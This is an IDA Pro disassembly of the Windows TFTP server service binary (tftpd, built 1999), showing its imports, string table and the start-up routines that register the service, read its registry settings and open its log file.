;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0022C74E8AA96E820E0D278A3510739C

; File Name   :	u:\work\0022c74e8aa96e820e0d278a3510739c_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	1000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003400 (  13312.)
; Section size in file		: 00003400 (  13312.)
; Offset to raw	data for section: 00000600
; Flags	F0000040: Data Shareable Executable Readable Writable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
					; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA	*lpServiceStartTable)
		extrn StartServiceCtrlDispatcherA:dword	; CODE XREF: sub_1001570+DBp
					; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
					; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_10037BF+143p
					; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE	__stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
		extrn RegisterServiceCtrlHandlerA:dword	; CODE XREF: sub_1001665+4Ap
					; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE	hServiceStatus,	LPSERVICE_STATUS lpServiceStatus)
		extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
					; sub_1001665+F7p ...

;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_1001570+EDp
					; DATA XREF: sub_1001570+EDr
; DWORD	__stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR	lpDst, DWORD nSize)
		extrn ExpandEnvironmentStringsA:dword ;	CODE XREF: sub_1003910+34p
					; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
		extrn GetLocalTime:dword ; CODE	XREF: sub_1002A3D+35p
					; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
					; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_10027E1+83p
					; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_1001E73+36p
					; DATA XREF: sub_1001E73+36r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn ResumeThread:dword ; CODE	XREF: HandlerProc+38p
					; DATA XREF: HandlerProc+38r
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_1001570+E5p
					; sub_1001665:loc_1001762p ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_1001665+210p
					; sub_1001A91+1ABp
					; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_1001665+7Ep
					; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_10018DB+12p
					; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
		extrn HeapCreate:dword	; CODE XREF: sub_10019F0+23p
					; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_1001A1F+68p
					; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_1001A1F+58p
					; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_1001A1F+49p
					; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_1001A1F+Bp
					; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_1001A91+27Cp
					; sub_1001A91+2C1p
					; DATA XREF: ...
; DWORD	__stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles,	BOOL bWaitAll, DWORD dwMilliseconds)
		extrn WaitForMultipleObjects:dword ; CODE XREF:	sub_1001A91+158p
					; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_1001A91+93p
					; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn ResetEvent:dword	; CODE XREF: sub_1001A91+75p
					; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: .text:01001D94p
					; sub_100205A+4Ep
					; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
					; .text:01001D9Bp
					; DATA XREF: ...
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
					; DATA XREF: HandlerProc+50r

;
; Imports from MSVCRT.dll
;
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
		extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
					; DATA XREF: .text:01003B18r
		extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
					; DATA XREF: .text:01003AD8r
		extrn _lseek:dword	; CODE XREF: sub_1002F31+1F0p
					; sub_1002F31+20Ap
					; DATA XREF: ...
		extrn _close:dword	; CODE XREF: sub_1002953+11p
					; DATA XREF: sub_1002953+11r
		extrn _read:dword	; CODE XREF: sub_10027E1+63p
					; DATA XREF: sub_10027E1+63r
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_1001FA6+30p
					; sub_100205A+93p ...
; void *__cdecl	realloc(void *Memory, size_t NewSize)
		extrn realloc:dword	; CODE XREF: sub_1001FA6+55p
					; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
		extrn fclose:dword	; CODE XREF: sub_1001E73+CDp
					; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_10018DB+75p
					; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
		extrn time:dword	; CODE XREF: sub_1001665+114p
					; HandlerProc+8p
					; DATA XREF: ...
		extrn _chdir:dword	; CODE XREF: sub_1001665+19Fp
					; sub_1001665+1BEp
					; DATA XREF: ...
; int *__cdecl errno()
		extrn _errno:dword	; CODE XREF: sub_1001665+1A7p
					; sub_10027E1+7Dp ...
		extrn _mkdir:dword	; CODE XREF: sub_1001665+1AEp
					; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl	fopen(const char *Filename, const char *Mode)
		extrn fopen:dword	; CODE XREF: sub_1001665+1DBp
					; DATA XREF: sub_1001665+1DBr
; char *__cdecl	ctime(const time_t *Time)
		extrn ctime:dword	; CODE XREF: sub_1001665+1F7p
					; HandlerProc+19p
					; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
		extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
		extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
		extrn __set_app_type:dword ; CODE XREF:	.text:01003A7Fp
					; DATA XREF: .text:01003A7Fr
		extrn __p__fmode:dword	; CODE XREF: .text:01003A9Cp
					; DATA XREF: .text:01003A9Cr
		extrn __p__commode:dword ; CODE	XREF: .text:01003AAAp
					; DATA XREF: .text:01003AAAr
		extrn _adjust_fdiv:dword ; DATA	XREF: .text:01003AB8r
; int printf(const char	*Format, ...)
		extrn printf:dword	; CODE XREF: sub_1001570+52p
					; sub_1001570+5Fp ...
		extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
					; DATA XREF: .text:01003B33r
		extrn __imp__XcptFilter:dword ;	DATA XREF: _XcptFilterr
; void __cdecl exit(int	Code)
		extrn _exit:dword	; CODE XREF: .text:01003B7Ap
					; DATA XREF: .text:01003B7Ar
		extrn _open:dword	; CODE XREF: sub_1002F31+1A6p
					; sub_100333A+1B9p
					; DATA XREF: ...
		extrn _write:dword	; CODE XREF: sub_100373A+5Bp
					; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int	Code)
		extrn exit:dword	; CODE XREF: sub_1001570+CFp
					; sub_1001665+C0p ...

;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type,	int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP	g, DWORD dwFlags)
		extrn WSASocketA:dword	; CODE XREF: sub_100205A+17p
					; DATA XREF: sub_100205A+17r
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
					; sub_1001A91+12Bp ...
; int __stdcall	WSAStartup(WORD	wVersionRequested, LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: sub_1001665+A6p
					; DATA XREF: sub_1001665+A6r
; int __stdcall	WSAEventSelect(SOCKET s, HANDLE	hEventObject, __int32 lNetworkEvents)
		extrn WSAEventSelect:dword ; CODE XREF:	sub_100188E+Cp
					; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
		extrn htons:dword	; CODE XREF: sub_1001A91+1D2p
					; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped,	LPDWORD	lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
		extrn WSAGetOverlappedResult:dword ; CODE XREF:	sub_1001A91+18Ep
					; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
		extrn ntohs:dword	; CODE XREF: sub_1001A91+11Ep
					; sub_1002A3D+40p ...
; int __stdcall	WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD	dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen,	LPWSAOVERLAPPED	lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
		extrn WSARecvFrom:dword	; CODE XREF: sub_1001A91+10Fp
					; DATA XREF: sub_1001A91+10Fr
; int __stdcall	ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
		extrn ioctlsocket:dword	; CODE XREF: sub_1001A91+2Ap
					; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
		extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
					; DATA XREF: sub_1001F54+1Cr
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_1001F54+13p
					; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_1002024+4p
					; sub_1002F31+64p ...
; int __stdcall	bind(SOCKET s, const struct sockaddr *name, int	namelen)
		extrn bind:dword	; CODE XREF: sub_100205A+7Ap
					; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const	char *name, const char *proto)
		extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
					; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int	protocol)
		extrn socket:dword	; CODE XREF: sub_1002F31+22Ep
					; sub_100333A+1EBp
					; DATA XREF: ...
; int __stdcall	sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
		extrn sendto:dword	; CODE XREF: sub_100230A+B6p
					; sub_1002A3D+65p ...

;
; Imports from iphlpapi.dll
;
; DWORD	__stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED	overlapped)
		extrn __imp_NotifyAddrChange:dword ; DATA XREF:	NotifyAddrChanger
; DWORD	__stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable,	PULONG pdwSize,	BOOL bOrder)
		extrn __imp_GetIpAddrTable:dword ; DATA	XREF: GetIpAddrTabler

;
; Imports from ntdll.dll
;
; void *__cdecl	memmove(void *Dst, const void *Src, size_t Size)
		extrn memmove:dword	; CODE XREF: sub_100273D+72p
					; DATA XREF: sub_100273D+72r
; char *__cdecl	strncpy(char *Dest, const char *Source,	size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_1003910+24p
					; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
		extrn isupper:dword	; CODE XREF: sub_100333A+86p
					; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
		extrn tolower:dword	; CODE XREF: sub_1002F31+88p
					; sub_100333A+95p
					; DATA XREF: ...
		extrn RtlUpdateTimer:dword ; CODE XREF:	sub_1002A3D+BCp
					; sub_1002B5E+114p ...
		extrn RtlDeleteTimer:dword ; CODE XREF:	sub_1002901+27p
					; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1,	const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_10023D8+54p
					; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_10023D8+81p
					; sub_10023D8+F2p
					; DATA XREF: ...
; char *__cdecl	itoa(int Val, char *DstBuf, int	Radix)
		extrn _itoa:dword	; CODE XREF: sub_10023D8:loc_1002597p
					; DATA XREF: sub_10023D8:loc_1002597r
		extrn RtlDeregisterWaitEx:dword	; CODE XREF: sub_1001F54+Ap
					; sub_1002901+35p
					; DATA XREF: ...
		extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
		extrn RtlCreateTimerQueue:dword	; CODE XREF: sub_10018DB+81p
					; DATA XREF: sub_10018DB+81r
		extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
					; sub_10018DB+D6p
					; DATA XREF: ...
		extrn RtlCreateTimer:dword ; CODE XREF:	sub_10018DB+A8p
					; sub_1002F31+34Dp ...

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 100117Ch
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 37ECADD7h, 0
		dd 4, 110h, 0
		dd 4C00h, 0
		dd 37ECADD7h, 0
		dd 3, 310h, 0
		dd 4D10h, 0
		dd 37ECADD7h, 0
		dd 6, 2	dup(0)
		dd 5020h, 0
		dd 37ECADD7h, 0
		dd 2, 1Ah, 0
		db 90h
		db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS	db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
		db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles	db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable	db 'writable',0         ; DATA XREF: sub_1001570+BFo
					; sub_10037BF+121o
		align 4
; char aOReadableFiles[]
aOReadableFiles	db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable	db 'readable',0         ; DATA XREF: sub_1001570+B1o
					; sub_10037BF+F1o
		align 4
; char aOValidmastersK[]
aOValidmastersK	db ' o ValidMasters   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters	db 'masters',0          ; DATA XREF: sub_1001570+A3o
					; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK	db ' o ValidClients   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients	db 'clients',0          ; DATA XREF: sub_1001570+95o
					; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh	db 'These keys are shell patterns with * and ? (see examples above):',0Ah
					; DATA XREF: sub_1001570+8Do
		db 0
		align 4
; char aOStartdirector[]
aOStartdirector	db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName	db 'directory',0        ; DATA XREF: sub_1001570+7Fo
					; sub_10037BF+5Co
		align 4
; char aRegistryKeyNam[]
aRegistryKeyNam	db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
					; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey		db 'System\CurrentControlSet\Services\tftpd\parameters',0
					; DATA XREF: sub_1001570+71o
					; sub_10037BF+13o
		align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI	db ' TFTPD_LOGFILE     is %s',0Ah ; DATA XREF: sub_1001570+68o
		db 0Ah,0
		align 4
; char Filename[]
Filename	db 'tftpd.log',0        ; DATA XREF: sub_1001570+63o
					; sub_1001665+1D6o
		align 4
; char aTftpd_default_[]
aTftpd_default_	db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
		align 4
; char Source[]
Source		db '\tftpdroot\',0      ; DATA XREF: sub_1001570+55o
					; sub_1003910+1Eo
a?		db '-?',0               ; DATA XREF: sub_1001570+10o
		align 4
; char Mode[]
Mode		db 'a+',0               ; DATA XREF: sub_1001665+1D1o
		align 4
; char name[]
name		db 'tftp',0             ; DATA XREF: sub_100205A+31o
		align 10h
; char proto[]
proto		db 'udp',0              ; DATA XREF: sub_100205A+2Co
aOptionNegotiat	db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
		align 10h
aNoSuchUser	db 'No such user',0     ; DATA XREF: .data:01005CDCo
		align 10h
aFileAlreadyExi	db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe	db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe	db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
		align 10h
aDiskFullOrAllo	db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
		align 4
aAccessViolatio	db 'Access violation',0 ; DATA XREF: .data:01005CC8o
		align 4
aFileNotFound	db 'File not found',0   ; DATA XREF: .data:01005CC4o
		align 4
aErrorUndefined	db 'Error undefined',0  ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize		db 'tsize',0            ; DATA XREF: sub_10023D8:loc_100251Ao
		align 10h
; char aTimeout_0[]
aTimeout_0	db 'timeout',0          ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2		db 'blksize',0          ; DATA XREF: sub_10023D8+4Eo
aTimeout	db 'Timeout',0          ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe	db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
					; sub_100333A+201o ...
		align 10h
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
					; sub_100333A+1A0o
		align 4
aMalformedFileN	db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
					; sub_100333A+159o
aOctet		db 'octet',0            ; DATA XREF: sub_1002F31+D2o
					; sub_100333A:loc_100341Fo
		align 10h
aNetascii	db 'netascii',0         ; DATA XREF: sub_1002F31+9Fo
					; sub_100333A:loc_10033E1o
		align 4
asc_100155C:				; DATA XREF: sub_1003910+7Fo
		unicode	0, <\>,0
dword_1001560	dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1001570	proc near		; CODE XREF: .text:01003B4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 1
		push	esi
		jle	loc_1001646
		mov	eax, [esp+4+arg_4]
		mov	esi, offset a?	; "-?"
		mov	eax, [eax+4]


loc_1001588:				; CODE XREF: sub_1001570+34j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_10015AA
		test	cl, cl
		jz	short loc_10015A6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_10015AA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_1001588


loc_10015A6:				; CODE XREF: sub_1001570+22j
		xor	eax, eax
		jmp	short loc_10015AF
; ---------------------------------------------------------------------------


loc_10015AA:				; CODE XREF: sub_1001570+1Ej
					; sub_1001570+2Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_10015AF:				; CODE XREF: sub_1001570+38j
		test	eax, eax
		jnz	loc_1001646
		mov	esi, ds:printf
		push	offset Format	; " ======================================"...
		call	esi ; printf
		pop	ecx
		push	offset Source	; "\\tftpdroot\\"
		push	offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is	%s\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset Filename	; "tftpd.log"
		push	offset aTftpd_logfileI ; " TFTPD_LOGFILE     is	%s\n\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset SubKey	; "System\\CurrentControlSet\\Services\\tftpd"...
		push	offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset ValueName ; "directory"
		push	offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aTheseKeysAreSh ; "These	keys are shell patterns	with * an"...
		call	esi ; printf
		pop	ecx
		push	offset aClients	; "clients"
		push	offset aOValidclientsK ; " o ValidClients   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aMasters	; "masters"
		push	offset aOValidmastersK ; " o ValidMasters   keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aReadable ; "readable"
		push	offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	offset aWritable ; "writable"
		push	offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
		call	esi ; printf
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh	; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_1001646:				; CODE XREF: sub_1001570+6j
					; sub_1001570+41j
		push	offset ServiceStartTable ; lpServiceStartTable
		call	ds:StartServiceCtrlDispatcherA	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_100165B
		call	ds:GetLastError


loc_100165B:				; CODE XREF: sub_1001570+E3j
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
sub_1001570	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_1001665	proc near		; DATA XREF: .data:ServiceStartTableo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	offset HandlerProc ; lpHandlerProc
		push	offset ServiceName ; "Tftpd"
		mov	ServiceStatus.dwServiceType, 30h
		mov	ServiceStatus.dwCurrentState, 2
		mov	ServiceStatus.dwControlsAccepted, ebp
		mov	ServiceStatus.dwCheckPoint, 1
		mov	ServiceStatus.dwWaitHint, 4E20h
		mov	ServiceStatus.dwWin32ExitCode, ebp
		mov	ServiceStatus.dwServiceSpecificExitCode, ebp
		call	ds:RegisterServiceCtrlHandlerA	; RegisterServiceCtrlHandlerA
		cmp	eax, ebp
		mov	hServiceStatus,	eax
		jz	loc_1001762
		mov	esi, ds:SetServiceStatus
		mov	edi, offset ServiceStatus
		push	edi		; lpServiceStatus
		push	eax		; hServiceStatus
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jz	loc_1001762
		mov	ebx, ds:CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		call	ebx ; CreateEventA
		push	ebp		; lpName
		push	ebp		; bInitialState
		push	ebp		; bManualReset
		push	ebp		; lpEventAttributes
		mov	hHandle, eax
		call	ebx ; CreateEventA
		cmp	hHandle, ebp
		mov	hObject, eax
		jz	short loc_100171C
		cmp	eax, ebp
		jz	short loc_100171C
		push	offset stru_1006140 ; lpWSAData
		push	101h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1001735
		call	ds:WSAGetLastError	; WSAGetLastError


loc_100171C:				; CODE XREF: sub_1001665+96j
					; sub_1001665+9Aj ...
		push	1Fh
		call	sub_1001E73
		push	1		; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		pop	ecx


loc_100172C:				; CODE XREF: sub_1001665+218j
					; sub_1001665+224j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_1001735:				; CODE XREF: sub_1001665+AFj
		push	edi		; lpServiceStatus
		mov	ServiceStatus.dwCurrentState, 4
		push	hServiceStatus	; hServiceStatus
		mov	ServiceStatus.dwControlsAccepted, 7
		mov	ServiceStatus.dwCheckPoint, ebp
		mov	ServiceStatus.dwWaitHint, ebp
		call	esi ; SetServiceStatus
		cmp	eax, ebp
		jnz	short loc_100176A


loc_1001762:				; CODE XREF: sub_1001665+57j
					; sub_1001665+6Ej
		call	ds:GetLastError
		jmp	short loc_100171C
; ---------------------------------------------------------------------------


loc_100176A:				; CODE XREF: sub_1001665+FBj
		push	9
		pop	ecx
		xor	eax, eax
		mov	edx, offset Time
		mov	edi, edx
		rep stosd
		push	edx		; Time
		call	ds:time	; time
		pop	ecx
		mov	edx, [esp+10h+arg_0]
		dec	edx
		mov	ebx, (offset dword_1005E07+1)
		jz	short loc_10017F3
		mov	eax, [esp+10h+arg_4]
		lea	eax, [eax+edx*4]
		mov	[esp+10h+arg_0], eax


loc_1001797:				; CODE XREF: sub_1001665+18Cj
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_10017F3
		movsx	ecx, byte ptr [eax+1]
		sub	ecx, 64h
		jz	short loc_10017C9
		dec	ecx
		jz	short loc_10017BD
		dec	ecx
		jnz	short loc_10017E9
		mov	dword_1005DD8, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017BD:				; CODE XREF: sub_1001665+147j
		mov	dword_1005DD4, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017C9:				; CODE XREF: sub_1001665+144j
		lea	edi, [eax+2]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_10017E9:				; CODE XREF: sub_1001665+14Aj
					; sub_1001665+156j ...
		sub	[esp+10h+arg_0], 4
		dec	edx
		cmp	edx, ebp
		ja	short loc_1001797


loc_10017F3:				; CODE XREF: sub_1001665+125j
					; sub_1001665+13Bj
		call	sub_10037BF
		call	sub_1003910
		mov	esi, ds:_chdir
		push	ebx
		call	esi ; _chdir
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_100182E
		call	ds:_errno	; _errno
		push	ebx
		call	ds:_mkdir	; _mkdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C
		push	ebx
		call	esi ; _chdir
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C


loc_100182E:				; CODE XREF: sub_1001665+1A5j
		cmp	dword_1005DD8, ebp
		jz	short loc_1001857
		push	offset Mode	; "a+"
		push	offset Filename	; "tftpd.log"
		call	ds:fopen	; fopen
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	File, eax
		jnz	short loc_1001857
		mov	dword_1005DD8, ebp


loc_1001857:				; CODE XREF: sub_1001665+1CFj
					; sub_1001665+1EAj
		push	offset Time	; Time
		call	ds:ctime	; ctime
		pop	ecx
		call	sub_10018DB
		call	sub_10019F0
		push	0FFFFFFFFh	; dwMilliseconds
		push	hHandle		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		cmp	eax, ebp
